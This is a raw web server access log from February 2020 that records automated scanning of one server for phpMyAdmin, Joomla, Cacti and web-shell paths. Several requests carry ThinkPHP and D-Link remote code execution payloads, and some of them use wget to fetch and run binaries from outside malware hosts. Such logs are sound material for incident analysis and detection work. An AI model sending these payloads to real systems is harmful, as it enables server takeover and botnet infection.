49.232.160.120 - - [24/Feb/2020:07:09:42 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:43 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:43 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:43 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:43 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:43 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:44 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:44 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:44 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:44 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:44 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:44 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:45 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:45 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:45 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:46 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:47 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:47 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:47 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:47 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:47 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:48 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:48 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:48 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:48 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:48 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:48 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:49 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:49 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:49 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:50 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:50 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:51 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:51 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:51 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:51 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:51 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:52 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:52 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:52 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:52 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:52 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:52 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:53 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:53 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:55 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:55 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:55 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:55 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:55 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:55 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:56 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:56 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:56 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:56 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:56 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:56 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:57 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:57 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:57 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:59 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:59 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:59 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:59 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:59 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:09:59 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:00 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:00 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:00 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:00 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:01 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:01 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:01 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:01 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:01 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:02 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:02 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:02 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:02 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:03 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:03 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:03 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:03 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:10:03 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
31.129.82.101 - - [24/Feb/2020:07:10:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
49.232.160.120 - - [24/Feb/2020:07:10:24 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [24/Feb/2020:07:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.55.245.142 - - [24/Feb/2020:07:10:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.232.160.120 - - [24/Feb/2020:07:10:47 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
49.232.160.120 - - [24/Feb/2020:07:11:11 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [24/Feb/2020:07:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:11:35 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
123.129.78.180 - - [24/Feb/2020:07:11:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
49.232.160.120 - - [24/Feb/2020:07:11:59 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
49.232.160.120 - - [24/Feb/2020:07:12:27 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [24/Feb/2020:07:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:12:51 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
49.232.160.120 - - [24/Feb/2020:07:13:15 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [24/Feb/2020:07:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:13:39 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:13:42 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:13:42 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:13:42 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
49.232.160.120 - - [24/Feb/2020:07:13:42 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
49.232.160.120 - - [24/Feb/2020:07:14:03 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
49.232.160.120 - - [24/Feb/2020:07:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:07:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:14:52 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:15:15 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:07:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:16:03 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:07:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:16:28 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
85.1.120.207 - - [24/Feb/2020:07:16:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
81.180.86.47 - - [24/Feb/2020:07:16:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.232.160.120 - - [24/Feb/2020:07:17:00 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
85.1.120.207 - - [24/Feb/2020:07:17:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [24/Feb/2020:07:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.232.160.120 - - [24/Feb/2020:07:17:31 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:17:35 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:17:55 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:17:55 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:17:55 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
49.232.160.120 - - [24/Feb/2020:07:17:55 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
